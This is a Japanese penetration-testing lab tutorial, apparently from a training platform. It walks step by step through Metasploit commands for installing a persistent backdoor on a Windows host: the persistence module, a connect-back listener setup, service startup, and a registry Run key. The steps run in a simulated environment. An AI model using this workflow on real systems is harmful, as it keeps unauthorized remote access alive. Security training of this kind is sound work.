はじめに
この実験 (Lab) では、Metasploit Framework を使用してターゲットシステムに永続性 (persistence) を確立する基本的なプロセスを学びます。永続性は、ペネトレーションテストにおいて重要なフェーズであり、攻撃者が侵害されたシステムが再起動したり、初期接続が失われたりしても、アクセスを維持することを可能にします。ここでは、特定の Metasploit モジュールを使用して、あなたのマシンに自動的に再接続するバックドアを作成する方法を探求します。この実験 (Lab) は、制御されたシミュレーション環境におけるコマンドと概念に焦点を当てています。
ターゲット上で特権付き Meterpreter セッションを取得する
このステップでは、Metasploit Framework を起動し、タスクのコンテキストを理解します。実際のペネトレーションテストでは、永続性の確立はポストエクスプロイト (post-exploitation) のアクティビティです。これは、ターゲットシステムへの初期アクセスを既に取得しており、通常は Meterpreter セッションの形式で取得していることを意味します。
この実験 (Lab) では、永続性を設定するためのコマンドと手順に焦点を当てます。ターゲットを既に正常に侵害し、バックグラウンドで Meterpreter セッションを実行していることを前提とします。
まず、ターミナルから Metasploit コンソールを起動しましょう。-q フラグは、起動時のバナーを抑制するサイレントスタートを提供します。
msfconsole -q
コマンドプロンプトが msf6 > に変わるはずです。これは、Metasploit Framework 内にいることを示しています。
アクティブなセッションがある実際のシナリオでは、sessions コマンドでそれを一覧表示できます。対話するには、sessions -i <session_id> を使用します。ポストエクスプロイトモジュールを使用するために msf6 > プロンプトに戻るには、Meterpreter セッション内から background コマンドを使用します。ここでは、既にセッションをバックグラウンドに配置したという前提で進めます。
永続性ポストエクスプロイトモジュールの検索
このステップでは、永続性の確立に役立つ Metasploit 内のモジュールを検索します。Metasploit には強力な検索機能があり、キーワード、タイプ、プラットフォームなどに基づいてモジュールを見つけることができます。
「persistence」に関連するモジュールを探します。Metasploit コンソール内で search コマンドを使用して、関連するモジュールを見つけましょう。
search persistence
このコマンドは、キーワードに一致するエクスプロイト、補助 (auxiliary)、およびポストエクスプロイトモジュールのリストを返します。出力には、モジュールの名前、開示日、ランク、および簡単な説明が表示されます。
出力は以下のようになります(一部の詳細が異なる場合があります)。
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/dlink_dir_600_http_login 2013-02-01 normal No D-Link DIR-600 'dlink_user' Persistence
1 exploit/linux/local/cron_persistence 2020-01-28 excellent Yes Cron Persistence
2 exploit/osx/local/persistence 2015-05-11 excellent Yes OS X Persistent Launchd Job
3 exploit/windows/local/persistence 2012-08-20 excellent No Windows Persistent Service Installer
4 exploit/windows/local/persistence_service 2014-09-11 excellent Yes Persistent Service Installer
5 post/android/manage/remove_persistence 2018-09-20 normal No Remove persistence from device
6 post/android/manage/set_persistence 2018-09-20 normal No Set persistence on device
7 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade
8 post/osx/manage/persistence 2018-09-20 normal No Install persistence on OSX
9 post/windows/manage/persistence_exe 2013-03-06 normal No Windows Manage Persistent EXE Payload
10 post/windows/manage/ssh_inject 2012-11-20 normal No Windows Manage SSH User Key Injection
ご覧のように、いくつかのオプションがあります。この実験 (Lab) では、Windows システム上で永続的なサービスを作成するための、信頼性が高く一般的に使用されるモジュールである exploit/windows/local/persistence に焦点を当てます。
exploit/windows/local/persistence モジュールの使用
このステップでは、先ほど特定した永続性モジュールを選択します。Metasploit の use コマンドは、特定のモジュールを現在のコンテキストにロードし、設定および実行できるようにします。
モジュールを選択するには、そのフルパスを入力するか、検索結果の番号を使用します(例:use 3)。番号は変更される可能性があるため、フルパスを使用する方が一般的に信頼性が高くなります。
exploit/windows/local/persistence モジュールをロードしましょう。
use exploit/windows/local/persistence
このコマンドを実行すると、プロンプトが現在ロードされているモジュールを反映するように変更されます:msf6 exploit(windows/local/persistence) >。
モジュールがロードされたので、そのオプションを表示して、何を設定する必要があるかを確認できます。show options コマンドを使用します。
show options
これにより、このモジュールで設定できるすべてのパラメータ、現在の値、およびそれらが必須かどうかを示す表が表示されます。
Module options (exploit/windows/local/persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 10 yes Delay in seconds for persistent payload to connect back
LHOST no The local listener IP address
LPORT 4444 no The local listener port
REX_PORT 0 no The port to connect to on the remote host
SESSION yes The session to run this module on
STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
...
SESSION が必須オプションであることに注意してください。ここに、侵害した Meterpreter セッションの ID を指定します。
自動起動とペイロードのオプション設定
このステップでは、永続性モジュールに必要なオプションを設定します。show options の出力に基づいて、永続性メカニズムがどのように動作するかを定義するために、いくつかのパラメータを設定する必要があります。set コマンドは、これらのオプションに値を割り当てるために使用されます。
まず、セッションを指定します。実際のシナリオでは、アクティブなセッションの ID を使用します(例:set SESSION 1)。この実験 (Lab) では、プレースホルダーとして 1 に設定します。
set SESSION 1
次に、永続性メカニズムが実行するペイロードを設定する必要があります。このペイロードは、私たちのマシンにコールバックします。LHOST(私たちの IP アドレス)と LPORT(リッスンするポート)を設定する必要があります。LHOST をローカルループバックアドレス 127.0.0.1 に、LPORT を 4445 に設定しましょう(他の潜在的なハンドラーとの競合を避けるため)。
set LHOST 127.0.0.1
set LPORT 4445
STARTUP オプションは、ターゲットマシン上でペイロードがどのように開始されるかを決定します。オプションは USER(ユーザーがログインしたときに実行)、SYSTEM(システムが起動したときに実行)、または SERVICE(システムサービスとして実行)です。より高い権限とステルス性のために SERVICE を選択しましょう。
set STARTUP SERVICE
再度 show options を実行して、すべての設定が正しく適用されたことを確認できます。「Current Setting」列に、先ほど設定したすべての値が反映されているはずです。
モジュールの実行と永続性メカニズムの検証
この最終ステップでは、モジュールを実行します。すべてのオプションが設定された状態でモジュールを実行すると、指定されたセッションを介してターゲットシステムに永続性スクリプトがインストールされます。モジュールを実行するには、run または exploit コマンドを使用します。
run
期待される結果: 私たちのシミュレートされた環境では、セッション ID 1 がアクティブではないため、このコマンドは失敗します。次のようなエラーメッセージが表示されます。
[-] Exploit failed: Rex::Post::Meterpreter::RequestError The session is not valid.
これは、ライブで侵害されたホストを扱っていないため、この実験 (Lab) では予期される動作です。
有効なセッションを持つ実際のシナリオでは、出力は大きく異なります。モジュールがスクリプトをアップロードし、レジストリを変更し、永続性メカニズムが正常にインストールされたことを確認する内容が表示されます。成功した実行は次のようになります。
[*] Running module against TARGET-PC
[*] Installing persistence script...
[+] Persistence script uploaded to C:\Users\Admin\AppData\Local\Temp\abcde.vbs
[*] Creating startup registry key...
[+] Persistence registry key created at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fGhiJkL
[*] Starting the payload handler...
[+] Persistence established. The service will start on next boot.
実際のテストでプロセスを完了するには、同じ LHOST と LPORT(127.0.0.1 と 4445)で設定された新しいハンドラー(use exploit/multi/handler)を設定します。ターゲットマシンが再起動した後、永続性ペイロードが実行され、ハンドラーに接続バックし、新しい Meterpreter セッションが得られます。
まとめ
この実験 (Lab) では、Metasploit Framework を使用してターゲットシステムに永続性を確立するための基本的なプロセスを学びました。関連モジュールの検索、exploit/windows/local/persistence モジュールの選択と設定、およびその機能の理解を実践しました。
ライブターゲットなしで環境をシミュレートしましたが、実際のペネトレーションテストで永続的なバックドアを作成するために必要な正確なコマンドとワークフローを学びました。このスキルは、セキュリティ評価中に長期的なアクセスを維持するために不可欠です。
実験の完了おめでとうございます!


